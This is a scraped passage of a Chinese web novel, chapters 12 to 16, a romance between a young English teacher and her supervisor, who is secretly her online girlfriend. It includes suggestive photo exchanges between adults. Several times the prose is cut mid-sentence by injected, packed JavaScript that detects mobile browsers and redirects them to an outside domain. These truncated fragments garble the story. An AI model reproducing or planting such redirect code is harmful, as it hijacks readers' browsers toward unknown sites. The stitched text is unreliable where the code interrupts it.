这种浮于表面的礼貌也是一种施压。 林筝墨恍然大悟,她终于知道自己的礼貌是从哪里学来的了,是她的家庭教给她的。 虚假的礼貌,揭开面纱,是巨大的强势。 “那你把我联系方式给他吧。” “好。”周京芳唇角噙着笑,一块新的排骨落在了林筝墨的碗里,“多吃点,你又瘦了。” 12. 第十二章 第十二章 林筝墨觉得自己并不快乐,这种不快乐会在周二晚上异常明显。 妈妈给她打包了糖醋排骨,爸爸美美隐身在沙发。 她说再见的时候,两个人同时望向她,眼底流露着心照不宣的笑意。 “注意安全,回家发消息!” “知道了。” 咔哒。 她合上门,摁电梯下楼。 只需要步行两个街区,她就能抵达她的公寓。夜晚的街道依旧车水马龙,霓虹灯光闪烁在巨大的广告牌上,天空像一块虚伪的幕布,墨蓝色的,揭开也只是一幕虚无的漩涡。 冯老师的儿子马不停蹄发来好友申请。 林筝墨点了同意,划到设置,点击免打扰。 她有时候觉得也挺合理的:因为自己现实中找不到情绪的依靠,所以她爱上了网络上的啊啊啊。 啊啊啊成为她的特殊是必然。 林筝墨给啊啊啊发消息: 【在干嘛呢?】 【刚到家。】 【哦哦。】 【怎么啦?不开心?】 【你怎么看出来的?】 【因为你每个周二晚上心情都一般。】 连林筝墨自己都没发现,啊啊啊的确是个善于观察的人。 【嗯,我妈妈还有我爸爸唱双簧,想让我赶紧嫁出去。】 消息刚发送过去,啊啊啊的语音就打了过来。 林筝墨接通。 “然后呢?你是怎么处理的?”啊啊啊的音调很平静,听不出太大的起伏来,她是很信任林筝墨的,觉得林筝墨不至于和那些男人有什么瓜葛。 “推拉了几个回合,没有办法,我同意把联系方式给他了,但是设置了免打扰。”林筝墨揉了揉眉心,焦躁着:“我不会和他聊天的。” 给过联系方式了么? 简越心底酸酸的,却找不到吃醋的入口,她觉得林筝墨应该也是没办法了,当务之急是解决林筝墨的情绪问题,吃醋会适得其反。 “嗯......既然都加了,可以礼貌回复一下。免得回头你妈妈又问你,你又不开心。” “好。” 听筒里传来哔哔叭叭的喇叭声,林筝墨的声音很细,很淡,隔着听筒都能感受到她的低落。 在这种时候,爱人的慰藉就显得非常重要了。 简越心疼她,却不能光明正大地拥抱她。 “你还在街上呢?” “对。” “还有多久到家啊。” “十来分钟吧。” “你周围挺吵的。”简越盘算了一下,林筝墨公寓附近比较热闹的街道有哪些。 “哦,旁边有个KTV,等我到比较安静的地方再给你打电话吧。” “行。” 嘟—— 这一次,简越挂得比林筝墨还快。 * 夜晚的风穿过高楼大厦,走街串巷,奔走、狂热地来到林筝墨身边。 正如简越来到林筝墨身边一样。 简越出现的时候,林筝墨非常惊讶,毫不夸张地说,她没有看见简主任“远远的身影”,而是忽然看见了这个人。 那么突然,那么突兀,简主任好像从天上掉下来,亦或者从地缝里钻出来,像孙悟空,但她比孙悟空漂亮太多了。 林筝墨将喉咙里的难过咽下,展现出与生俱来的礼貌来。 “简主任。” “咦?”对方闻言,很是惊讶,脚尖一顿,眯了眼,才望向林筝墨,“小林?好巧啊。” “是巧。”林筝墨抿唇看向她,温声细语寒暄着:“简主任刚忙完呢?” “对。”简越指了指街边斜侧的健身房,“今天去健身房上了一节体验课。” 她的额头汗淋淋的,微微喘着气,应该是跑过步。 “喔,体验感怎么样?” “还不错。”简越只是看向林筝墨,没有下文。 林筝墨心想,既然话已经说到这份上,那不妨多说两句:“我们之前说好一起健身的。” 简越唇角有了弧度,“对。” “那你怎么一个人去上体验课了?” 你不带我吗。 你忘了吗。 你原来只是开玩笑啊。 简越看穿她的小心思,笑道:“就是因为要和你一起,所以先去体验呀。” “所以有没有报课的必要?” “我觉得有。”简越闲散着步调,自然而然与林筝墨走在一起,她指了指前方,示意林筝墨继续往前走。 于是,俩人就这么一边走,一边慢悠悠地聊了起来。 “新人更应该让老师带,不然动作不标准,很容易锻炼不到位。” “可是我不想练出肌肉诶。” “肌肉很难练的,只是锻炼身体而已。” 林筝墨似懂非懂点点头,走了几十米,后知后觉简主任怎么在陪她回家? “诶,简主任,你快回家吧?” “我家就是这个方向啊。” “你不是住教师公寓吗?” “今晚不回教师公寓。”简越没有停止步伐的意思,继续与林筝墨聊天,“怎么觉得你今晚不太开心?” 林筝墨很惊讶,她的不开心有这么不明显吗?她刚刚明明主动和简越搭话了,若是平常,她会说“我先走了”,按理说,她比平常更热情才是。 林筝墨不说话,不回答,她只是低头,看网格路上斑驳的身影,是她和简越的。 简越比她高一点儿,连影子都要挺拔一些,简主任走路的时候,鞋屡发出小声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606819|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “屑屑”,她的运动鞋口包裹着一双短的,淡蓝色的袜子,也包裹着她一半的脚踝,脚踝处性感的骨头微凸,是那般纤瘦美丽。再往上,是一截细白又纤长的腿,一路延伸到她的膝盖。 人体走路时的骨骼弯曲,竟然在简主任这里也显得很有魅力。 林筝墨还想往上看,简主任却忽然说话了。 “小林,你为什么不开心呢?” “我不是很想说。” “哦,那算了。不过我包里正好有糖,你要不要吃?” “?”林筝墨的心脏因为糖果快速跳动了一下,而后笑道:“简主任,我不是小朋友了。” 简越却当做没听到,一只手揣进兜里,抓出一把糖来。 五彩斑斓的糖果躺在简主任的手掌心,像是雀跃的小精灵。塑料糖纸包裹着各式各样的果味,是蜜糖般的甜味素,是苦涩的反义词。 她手指微蜷,伸向林筝墨。 “都给你。” 十几颗目不暇接,林筝墨也不敢接,“我不要。” “吃一颗。”简越抿唇笑:“听我的,就吃一颗。” “啊呀。”林筝墨无法拒绝,在众多里面捻起一颗,“那我吃苹果味的吧。” “那橘子葡萄荔枝芒果呢?”简越将剩下的糖果塞给林筝墨,“对糖果要公平,留着,下次要是心情不好再吃一颗。” 林筝墨的荷包被塞得满满的,她忽然有点内疚,像简主任这样热心的人,她怎么好意思说人家冷漠呢? 今晚没有人安慰她。 除了这位“不近人情”的上级。 撕下糖纸,品尝一颗。 圆形糖果在林筝墨的舌头上滑来滑去,留下苹果味的霜甜。客观来说,甜味就是可以改变心情,她有种暂且忘记烦恼的感觉。 “谢谢你,简主任。” “不客气,本身也是买来吃的。”——何止,她是如何跑进便利店,又如何跑来这里,一概不提。 “我到家了。” 两人在公寓门口停下。 简越明知故问:“哦,你住这儿啊,早点回去吧。” 林筝墨站在原地,望向简越,两人视线交汇在一起,在空气中凝结成一个顿点。 那是一种难以言喻的情愫。 是迷濛的感觉,像是一场雨,悄然无声落在林筝墨的心里。 林筝墨再次进入迷雾森林,很奇怪,她居然在简越的眼睛里,看见了自己想象中啊啊啊的模样。 “我走了。”林筝墨迅速从那种感觉里抽离出来。 简越颔首,站在公寓门口目送她。 纤丽的背影逐渐远去,就快消失在简越的视线里。忽然之间,林筝墨停下脚步,转身说: “对了简主任,我想清楚了,有时间我们一起去健身吧?” 13. 第十三章 第十三章 简越并没有把那句“有时间一起健身”当做客套话。 周二至周五,她都在收敛自己的热情。一直等到周五晚上,待林筝墨真的有时间的时候,她才小心翼翼发送微信过去: 【林老师,明天周六,一起去健身吗?】 林筝墨说好。 一个“好”字,换来简越整个失眠夜。明日要穿什么样的衣服,走哪条路,用什么样的表情,都在她的脑袋里一一过目。 夜里简越躺在床上发呆,忽然回忆起和林筝墨的相爱方式,她们的相遇非常偶然,是考编的群里认识的。 刚开始简越也只是分享经验,后来林筝墨成功上岸、入职....... 直到某天,简越得知对方叫林筝墨。 林筝墨? 她不是隔壁刚入职的英语老师吗? 简越对她很有印象,绝顶的漂亮,说话温声细语的,恬静,柔和,笑起来很有白月光的味道。 同事们都说这个女孩儿很讲礼貌。 简越却觉得礼貌过度是一种虚伪,出于好奇,她开始观察这个人。 她发现,林筝墨一个人时其实不爱笑,只是安安静静做事,特立独行。看起来很温顺一个人,实际上很有自己的想法。下班就拎着电脑包离开,团建的时候也只是闷头吃饭,后来,索性连团建也不去了。 别人眼中,林筝墨不那么合群。 林筝墨一直想当一个隐形人。 可她太漂亮,根本不可能成为隐形人,所以总是成为别人背后的话题。 当视线不自觉落在对方身上时,简越明白,她掉进了属于林筝墨的漩涡里,再也爬不出来。 手机弹窗:【宝宝,我上级明天约我健身了!】 简越回复:【啊呀,她约你啦?你紧张吗?】 林筝墨:【不紧张。】 林筝墨:【好吧,其实有点儿。】 简越逗她:【是了,她这么难相处,你紧张是应该的。】 林筝墨拒不承认:【我没说她难相处。】 简越盯着屏幕笑:【是吗?你之前说了好多次。】 自从那天简越给了林筝墨糖果之后,林筝墨再也没说简越高冷,大概是觉得自己很是偏见,也不准啊啊啊说简越半句。 简越觉得,现今这个世上,能自我反省的人实在不多,林筝墨算一个吧。 她有时候她会故意逗她:【你说过你上司坏!她就是坏女人!】 林筝墨急得直接发语音:“她不是,她人挺好的,你不许开她玩笑。” 简越还想再逗她两句,聊天框忽然又弹出一句:【你看泡泡吗?】 看泡泡。 这是两人睡前的潜台词。 每天晚上,简越都有KPI,要给林筝墨发至少一张照片。林筝墨就像她的上司,要求她这样发,那样发。 有时候林筝墨会发表观后感,用词实在直白,搞得人心惶惶,原来文文静静的林老师也会说这样的话。 “我先去洗个澡!” “等你。” * 夜深人静时刻,林筝墨躺在公寓的小床上。五月中旬已经有些炎热,风扇呼呼地送着冷风。 啊啊啊洗漱的时间通常是三十分钟,这三十分钟里林筝墨就用来处理工作上的事。 基本她处理完,对方也差不多了。 【今晚想看哪?】 【锁骨下面。】 【?】啊啊啊正在输入:【你现在真是越来越娴熟了。】 林筝墨却很上道:【你上一次不是这么说的,我们上一次明明看得很开心。】 是她很开心吧...... 简越心想,天天给你发照片的人是我! 林筝墨在网络上向来是大胆的,对简越更是常放大招。简越时常感叹,学英文的人是不是对中文不敏感?她怎么就能够说出那样直白的话? 【给你看。】 【我要那个角度。】林领导提起了要求:【像上次那样,从上往下拍,要看到浅沟。】 她们倒也没有那么大胆,简越还是穿内l衣的。 【你就这么喜欢?】简越挑逗她。 【对。】林筝墨文字回复。 【你发语音说。】简越继续撩。 下一秒。 咻。 一条语音。 “对,我喜欢看。” 林筝墨的声音很寡,很淡,像白开水。但说的内容却像碳酸饮料,听了耳朵火火辣辣的。 简越的皮肤泛起微红,按照对方的要求,将照片发过去,然后蜷缩在被子里,心跳噗通噗通跳得厉害。 那边林筝墨大概看了一两分钟,只发送两个字过来: 【还要。】 简越:???? 【你还想看什么?】 【我现在开始怀疑你到底馋我身体还是馋我人了。】 林筝墨倒也很诚实:【都。】 简越:【那以前没发照片的时候呢?】 林筝墨:【以前只爱你的灵魂。】 林筝墨:【但现在有点不一样了。】 太过于实诚是种罪! 但简越喜欢这种直白。 一直以来,林筝墨提要求,简越都是即刻满足,到头来发现自己发了恐怕有20张照片了,但林筝墨基本为零。 【今晚咱们能角色互换吗?让我也看看你。】 【我的没有你的丰满。】 噗—— 简越一口老血喷在屏幕。 林筝墨你......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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简越将手机调至最亮,依旧看不清。 “宝贝,照片太黑了,我看不清呀。” “保存到相册。”林筝墨说。 简越照做,心底挠痒痒一般,她觉得林筝墨应该是故意的,偷偷使坏很符合林筝墨的调性。 “保存了,然后呢?” “增加曝光,阴影调到50,对比度10,再调一下色阶就可以了。” 这种感觉就像拆礼物,一层一层撕,一层一层剥开,那张照片逐渐清晰起来。 先是林筝墨的脸颊,五官,嘴唇...... 穿着一条低领吊带,平直的锁骨...... 当对比度再往上拉时,简越看清了整张照片。 一瞬间,深吸一口气,脸刷的一下红到不行!!! 收回! 撤回! 收回“林筝墨在行为上很保守”这句话!! 14.第十四章 第十四章 林筝墨很符合冷淡美人的长相,眼睛不是欧式大双眼皮,而是扇形,眼角微微有弧度,这种眼神看人就有种睥睨众生的高冷感。 但如果,这种眼神配上那样的姿态呢? 简越看到照片的时候着实吓了一跳,她没想到林筝墨“礼尚往来”,她是怎么拍给对方的,对方就怎么拍给她。 准确来说:进阶版。 更性感一点。 内l衣的肩带松松垮垮搭在肩膀上,像是故意找好的角度,她说自己微平,其实和简越差不多大小,虽没窥见内里乾坤,却能从包裹的弧度推测出大致模样。 她凝视镜头依旧没有表情,表情是冷淡的,但身体性感到不行。 简越盯着手机屏幕失语,浑身变得燥热起来,忽然被这张照片勾到,一些不合时宜的画面彻底击碎了她的理智。 原来“色令智昏”这个词,是真的会发生在喜欢的人身上的,甭管有多理智,该跪下就得跪下。 “啊......”简越发出小声的感叹,呼吸变得厚重起来。 “看见了吗?”听筒里林筝墨问她。 “看......看见了。” “觉得怎么样?” 觉得...... 很棒。 觉得...... 您很会。 简越心里说了一万个觉得,一个字都蹦不出来。 “不说话,那就是不好看?” “不是的。”简越翻了个身,思索着要不要继续下一个话题,踟蹰片刻,她说:“你知道女生和女生谈恋爱,到比较亲密的阶段,会做什么吗?” 言外之意:让屏幕彻底“烧”起来吧。 只听见林筝墨轻轻笑了一声,那笑声抚摸着简越的耳朵,预示着她都知道。 “你是想让我说知道还是不知道?” “我不知道。”简越被钓得晕乎乎的。 “在你之前我没有和别人谈过恋爱。”林筝墨直言:“所以目前还停留在理论知识。” “喔。” “所以话题还是回到照片,这张照片你觉得怎么样?” “很好。”简越喉咙滑动了一下,“非常漂亮。” “具体一点。”林筝墨引导着她:“说一下你的感受。” 感受就是。 我。 想。 和。 你。 做。 爱。 可是林筝墨,你觉得我会这么说吗? 简越觉得自己没那么大胆,退一万步说: “想抱抱你。” “那你想从前面抱还是从后面抱?” 简越深吸一口气,心跳如雷,林筝墨就是在明晃晃地勾l引她。她明明已经竭尽全力把话题引向“青涩”,林筝墨却偏要把她带山沟里。 如果你的女朋友要挑逗你,就是这么明显。 简越索性豁出去,扔给对方一个手雷:“从后面抱,然后嘴唇贴在你的耳朵上,在你偏过头的时候向下吻你的脖子,至于我的手,应该也不会闲着。” 两人默契地进入那种状态。 电流声。 清越的声线。 故意咬得很特别的文字。 让对方进入遐想,原本只是一张照片,却激荡起一些奇怪的欲l念。 网络是一层很好的保护伞,若是面对面反而会不好意思起来。 林筝墨发现自己有了陌生的反应,这是她第一次对啊啊啊有这么强烈的欲l望,仿佛对方就站在她身后触碰她。 “能提前见面吗?”林筝墨忽然说:“我想和你正式进入的恋爱状态。” 简越忽然梦中惊醒一般,她在入迷的同时忽然觉得害怕。 声音也逐渐清晰起来:“提前多久?” “一天听两首MP3,听到结束那天见面,可以吗?” 现在还剩40天,也就是说,林筝墨想提前20天。 “再给我一点时间可以吗?一个月之后怎么样?” 林筝墨的声音也淡下来:“我从来没有问过你原因,能告诉我为什么吗?” 为什么? 为什么可以喜欢到对方这样毫无保留,但是却有所保留。 其实答案MP3里有。 先前的火热迅速降温,两人都冷静下来。好像只要说到这个,就没办法继续甜蜜。 林筝墨恍然意识到,啊啊啊其实一直在躲。 “告诉我为什么?” 换来一声叹息,“我们需要时间。” “可是既然要见面,为什么不能早一点见面?” 听筒那边忽然变得很沉默。 她不说话,以至于林筝墨觉得自己是不是强人所难?转念一想,三个月她都等了,再等一个月又怎样。 她是刚刚上了头,迫不及待想见她。 “没事。”礼貌又善解人意的林筝墨开始自我和解:“三十天就三十天吧。” 简越松了口气,“好。” “我要睡了。”林筝墨想挂电话。 “早点休息,晚安。” “晚安。” * 关于MP3,内容大多琐碎。 林筝墨当做每日小故事来听,就好像啊啊啊在她面前说话一般。 第10条里说: “亲爱的林筝墨,当你听到这一条的时候,意味着我们相见只有三十几天了。你是否遵守诺言每天只听一首呢?” 遵守了。 虽然很难控制自己。 “你一定在心里问了无数次,为什么还不见面吧?”说到这里,啊啊啊停顿了一下,“我不知道你如何理解生活中一些不经意的意外,比如某一天走到彩票店,写下几个数字,中了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610714|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨额奖金,类似如此,毫不经意,你原本没想过会中奖。” 她是什么意思呢? “我觉得我与你的相遇便是如此,我要如何精准表达我现在的状态?发现语言也是匮乏。” 林筝墨陷入沉思,她听懂了一半,从啊啊啊的独白中,似乎不见面是一种无奈的结果,她从啊啊啊的语句里听到了焦灼。 听起来好像是: 啊啊啊不是不想见面,但她不能见面。 是什么阻拦着她? 林筝墨继续听。 “与你相爱是一种悖论,如果我们不以这样的方式相恋,那我们永远都不能恋爱。可是如果我们以这样的方式相恋,那我的心底必然要隐藏一个秘密,我要揣着秘密走向你,那势必需要时间。” 林筝墨听得恍惚,不明其意,她想懂,但没办法懂。 “你一定觉得我很拖延,踟蹰不前。但不管怎么说,我希望走到你面前那天,你不要推开我,要相信在此之前,我已经做了一次又一次的心理准备。” 她说完这句,耳机里的声音结束了。 小小的“独白10”结束,林筝墨摘下耳机,望着天花板徜徉与思考。 她实在想不通,对方将“见面”与“推开”联系在一起,不论那时是什么场景,林筝墨觉得自己也不会推开她的。 叮咚—— 微信忽然响了一下。 林筝墨拿起手机,是简主任发来的消息:【林老师,睡了吗?】 看了眼时间,十一点半。 【还没有,准备睡,怎么了?】 【别忘记明天一起健身,时间是下午三点,我在哪里等你呢?】 【学校门口见面吧。】 【好的林老师。】 林筝墨熄屏,不打算回复。闭上眼睛准备睡觉,诡异的一幕忽然发生了。 当她阖上眼那一刻,忽然想起啊啊啊先前调情时说的那一幕:从后面抱你,然后嘴唇贴在你的耳朵上,在你偏过头的时候向下吻你的脖子,至于我的手,应该也不会闲着。 那是一种热烈的,充满爱意的遐想。 林筝墨呼吸均匀,脑袋沉在枕头上,仿佛置身于那样的缠绵文字中...... 有一个人从后面抱着她,对她亲昵,那人靠近时,炽热的唇落在脖子上,幻想中有温度,那个人...... 幻想中,林筝墨侧目看了她一眼。 忽然之间,关于简主任的画面忽然浮现在脑海中! 林筝墨倏然睁开双眼,眼眸里的震惊不亚于听闻世界末日的消息!! 她唰的一下支起身来,浑身都是冷汗,望着漆黑空洞的房间,第一次感受到失控与恐惧。 可怕! 她居然把啊啊啊的模样代入了简主任!! 霹雳直冲天顶盖! 一定是简主任刚刚给她发了消息! 15.第十五章 第十五章 周六难得阴天,林筝墨抱着小猫宅了整个上午。 下午如约而至,她提前十分钟抵达,没想到简主任已经在学校门口了。 两人打了个照面,高冷的简主任露出不那么高冷的笑容,说话时眉眼弯弯,林筝墨竟然觉得很好看。 “下午好啊林老师。” “下午好。”林筝墨粗略地看了眼简越,目光挪开,心虚起来。 她又想起了昨晚的幻想,简主任的脸...... 对不起,简主任。 对不起,啊啊啊。 她觉得自己真是混蛋!! “有两公里呢,我们骑共享单车好吗?” “好的简主任。”林筝墨安安静静扫码,跟着简越往健身房骑。 她在想一个问题:既然要去健身房,干嘛不直接约那边? 马路上的人不多,路边咖啡店弥漫着豆子的味道,这条靠近学校的街道,只有在周六才会如此安静。 林筝墨望向简越的身影,听她骑行时发出的“铃铃铃”。 “小林你快点儿。” “来了简主任。” “小林你累吗?累的话也可以慢点儿。” 林筝墨笑,“不累的。” 小林? 她什么时候这么称呼自己了? 哼。 老简。 健身房楼下,简越刹车一摁,林筝墨随她停下,两人摆好单车,不疾不徐往二楼走去。 这家健身房确实有优惠,双人报课打折到四分之一,长期健身能省下不少。 踏上阶梯,甫一推门进入,迎面一个女人站在柜台,中长发,瘦脸薄唇,五官线条流畅,虽是单眼皮,眼睛却不小,神韵之间凝结着一股力量,总结:这人一定经常健身,气血非常足。 她叫徐素,其实是简越相交多年的好朋友。也是她带着简越健身的。 “来这么早?”徐素笑着望向简越,顺带看了林筝墨一眼,笑意更浓了。 “对啊早点来报课。”简越将自己的运动挎包放在前台,指了指林筝墨,“我和她。” “好的简老师。”徐素不紧不慢点开电脑上的会员表格,正儿八经道:“那麻烦两位扫码注册一下会员。” 简越早就是会员了,但要装作不是会员的样子。 实际上,要带上林筝墨,也是简越提前和徐素商量好的。作为简越多年老友,虽然简越没明说,但徐素也知道该是怎么回事。 电脑资料上显示:林筝墨。 人如其名,斯文雅致,纤丽文静,有股淡淡的文人气质。 徐素说:“我们这里是一对一私教模式,这边今天有空的教练只有两名了,随机给你们分配可以吗?” 林筝墨颔首,“可以的。” “好的,这边注册好了,会员卡可转让,但不可共享。”徐素将卡片递给两人,“更衣室直走右转,我去替你们安排教练。” 这家健身房人挺多,但很干净。林筝墨曾听好友吐槽,不爱健身有一个原因是油腻男太多,但这里基本都是女性,避免了很多恶意的麻烦。 简越带她来到更衣室,布局很简单,一面大镜子,加上储物柜和更衣隔间,以及冲澡区域。 简越扫码一个大柜子,“林老师,我们的包要不要放一起?” “好。”林筝墨拿出自己的运动装,顺手将包塞了进去。 原计划打算换衣服,却发现更衣间里有人,两人只好在外等着。 大概等了两分钟,不见人出来,门外忽然传来徐素的声音: “教练安排好了,在外面等你们喔。” “好的。” 两人相视一眼,倒没觉得什么,又过了几分钟,更衣室里的人还没出来,便焦灼起来。 简越心一横,直截了当说:“林老师,我就在这里换了。” 她只需要换一件上衣即可,里面还穿了运动背心,所以也只是脱一件T恤的事。 “你换吧。”林筝墨主动背过身去,一副绝不偷窥的模样。 简越见她如此拘谨,唇角不自觉有了弧度。 身后窸窸窣窣,林筝墨放空发呆,全然没注意到自己面前还有一面镜子。 也就是说,只要稍微抬眼,就能看到后面正在脱l衣服的简主任。 听见简主任换衣服时叮呤当啷的声音,好像是皮带卡扣撞击的声响,林筝墨耐心耗尽,眼皮半抬,目光忽然凝滞了。 她看见了什么...... 快低头啊! 但怎么低不下来? 她觉得自己的眼睛是一台失控的摄像机,情不自禁要将眼前的画面记录下来。 简主任穿着一件黑色的运动内l衣,饱满又恰到好处的某处被包裹着,白雪之间露出撩人的小浅沟。腰身纤细,几乎没有赘肉,她的皮肤很白,却不是无暇的,也许是因为内l衣穿的半包式,所以林筝墨发现她的心口中间有一些疤痕。 那个疤痕很有特点,两个小点中间横亘着一条直线,年月经久,颜色已经接近肉色,但还是能辨别出来。 那是不是手术的疤痕? 简主任的心脏做过手术? 心脏手术? 啊啊啊说她做过心脏手术。 某些想法在林筝墨脑海里擦亮火光,如同黑夜里倏然点亮的蜡烛,热烈又莽撞地燃烧着那些不切实际的想法。 她正出神,下一秒,简越的脑袋从领口窜出来。 林筝墨迅速低下头,权当什么都没发生过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617040|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我换好了。” “嗯。”林筝墨转过身去,届时更衣室的门终于打开,她赶忙进去,“我也换,你先去吧。” 林筝墨反复提醒自己:不要多想。 * 下午,健身房里的女性们做着力量训练,优美的线条与壶铃才是绝配,没有汗齁齁的味道,林筝墨默默为这个地方打了满分。 第一节课,教练对林筝墨进行了一个测评,然后教她一些很基础的东西。 作为健身小白,先前林筝墨还有点紧张,但教练是个温和有耐心的女人。 有时候,林筝墨很担心自己被简主任看到,毕竟新手动作不怎么标准,结果压根儿没瞅见简主任的身影,林筝墨彻底放松下来。 半小时后,外面飘起了小雨,林筝墨微微发汗,晶莹的汗珠从皮肤里渗透出来,像是初晨刚缀树叶上的露水。 “小林,你很棒诶!”教练发出感叹:“虽然你现在的力量不是很足,但是你的悟性好像蛮好。” 比如说,她的动作不标准,但是只要你给她示范一遍,她基本就能记住。 “谢谢。”林筝墨难得释放笑意,一点点雀跃袭上心头,“我想喝口水。” “去吧。” 林筝墨去接水喝,顺带寻找了一圈,还是没看到简主任。 咦。 她人呢? * 简越和徐素正在员工办公室里,两人坐在沙发上闲聊。 “哇,你女朋友身高165,体脂19,体重才88斤?”徐素感叹:“这么轻,风一吹都要倒了。” 简越颔首,“所以拉她来锻炼身体嘛。” 徐素把会员资料放在一边,嘟囔道:“所以你打算什么时候和她摊牌呢?” “下个月。” “你们工作上是上级和下级的关系,她会接受吗?” 窗外小雨还在下,天空阴沉沉的,水线顺着玻璃滑动着波纹,简越的心游荡在半空,没有答案。 “我在争取,总之现在不是摊牌的好时候。” “也对,你一说估计吓跑了。”徐素话锋一转:“但以后说也未必好,总是要有面对的那一天。” “我在给她释放信号了。” 比如刚刚换衣服的时候故意把胸口的伤疤给她看。 又比如偶尔打电话的时候不再压低声线。 她在一步一步试探,靠近林筝墨的每一步都小心翼翼,而每一个小心翼翼里都住着一个大胆的小精灵,在这场恋爱博弈里,她既要胆小,又要大胆,她要耗尽全部的心思和力气,换取一个结果——信任。 “加油!你可以的!”徐素站起身来,“诶?下雨了。” 简越回过头往玻璃窗外看去,说:“把你电瓶车借我用一下。” 16.第十六章 第十六章 真是一场酣畅淋漓的训练,下课后,林筝墨腿脚虚浮,慢悠悠晃到前台,简越终于不知道从哪儿冒了出来。 “练完啦?”简主任手里拿着一串钥匙,看起来倒是轻松又活络。 “嗯。” “累吗?”她笑盈盈的,眼里带光。 “累。” “累就对啦,换个衣服我们回家吧。” 她用的是“我们回家”,而不是“你回家”,那时林筝墨还没悟出什么意思。 直到一起下楼,对方忽然停在一辆黑色电动车旁,林筝墨才恍然大悟,简越这是要送她回家的意思。 “上车吧林老师。” “?”林筝墨诧异:“你哪里来的车?” “变出来的。”简越与她开玩笑,同时将雨衣和帽子都递过去,邀请林筝墨上车。 小雨淅沥沥下着,雨丝落在柏油马路上,路面银闪闪的,像女人涂在手指上的蔻丹。出租车,小轿车,划拉一声淌水而过,街道发出清泠的水声。 林筝墨站在雨幕中,将那件灰白色的雨衣穿好,又戴上帽。 简主任说:“来,你站过来一点。” 林筝墨弯腰低头,不知所措地望向对方。 下一秒,简越已经伸出手来,替林筝墨扶正帽沿,扣上卡带。 简越手指冰冰凉凉的,不经意划过林筝墨的下巴,令其心跳忽然漏了一拍。 “好了,上车吧。” “喔。” 林筝墨心有余悸,坐上简越的车,小心翼翼地保持着距离。 长长的,臃肿的雨衣将她们的身体隔开,一把伞撑在脑袋上,好像天空掉下来的一朵花,将她俩包裹在温暖世界里。 简主任的耳朵一半暴露在空气中,一半被帽子遮盖。 林筝墨就这样直愣愣注视着,视线过于专注,很快捕捉到简越耳朵上的小绒毛,毛毛的,在雾蒙蒙的雨幕里,林筝墨忽然生出想要触碰的欲l念。 小小的电动车与柏油马路共震着。 颤颤抖抖致使雨衣摩擦在一起,发出塑料的咻咻声,雨点噼里啪啦的落在雨伞上,整个世界好像只有她们两人,四周的声音都消匿了。 只听见简主任说: “小林,你饿不饿?” “饿了。” “那我带你去吃点东西吧。” “好。” 电动车拐了个弯,穿梭至另一条马路,从马路变为小巷,小巷里的石板路淌满了雨,整个世界都是迷濛的,白色占据了林筝墨的心情。 白色是雨天的颜色。 而雨天,总是潮湿的...... * 简越带林筝墨来到一家名不见经传的小店。 小店真的是小店,因为它只是一辆普通的手推车而已,由一位年近七十的老奶奶经营着。 玻璃上的红色贴胶写着: 鸡丝凉面。 凉粉。 炸土豆。 卤肉卷。 心灵手巧的老人就靠着这些小食物过活。 但雨天生意很差,没有人来光顾,老人树皮一样的粗纹手掌捏着一块白色抹布,反复擦拭着台面。雨一直下,裤脚早就沾湿了泥,却还是焦灼地等待客人光顾。 “奶奶,我来啦!”吱嘎一声,简越停下车,朗声道:“今天的东西剩得多吗?” 老人点点头,“多咧,天气坏,人好少。” “那正好。”简越草草看了眼台面,“十份鸡丝凉面,十个卤肉卷,炸土豆五份。” “你家又来客人了啵?”老人疑惑又不安地说:“又买那么多?吃得完嚒?” “这次是帮朋友带的。”简越拿出手机,假惺惺地将屏幕在老人面前晃了晃,“看,都是别人预定的,你家好吃,我顺带捎上。” 帮助他人最好的方式是不要让对方觉得自己很可怜。 买卖生意,简越从不会多给一分钱,但她会多买,这样老人也比较有成就感一点。 “看吧,都是她们预定的。”简越将手机揣兜里,不着痕迹地表演着。 老人根本不识字,似懂非懂点点头。 “好,我马上给你做。” 林筝墨默不作声看着这一切,大概明白简越是在做好事,而且不是第一次这样。 可是,这二十多份是不是太夸张了?怎么吃得完? 老人家动作虽然很慢,却很细致。简越也没闲着,与她闲聊: “最近女儿的病还好吗?” 老人点点头,“在静养了,上次手术花了不少钱,但医保有补,流程是沈礼萍在网上申请的。” 沈礼萍? 林筝墨竖尖了耳朵,这是她的学生,也是赵筱筱的同桌。 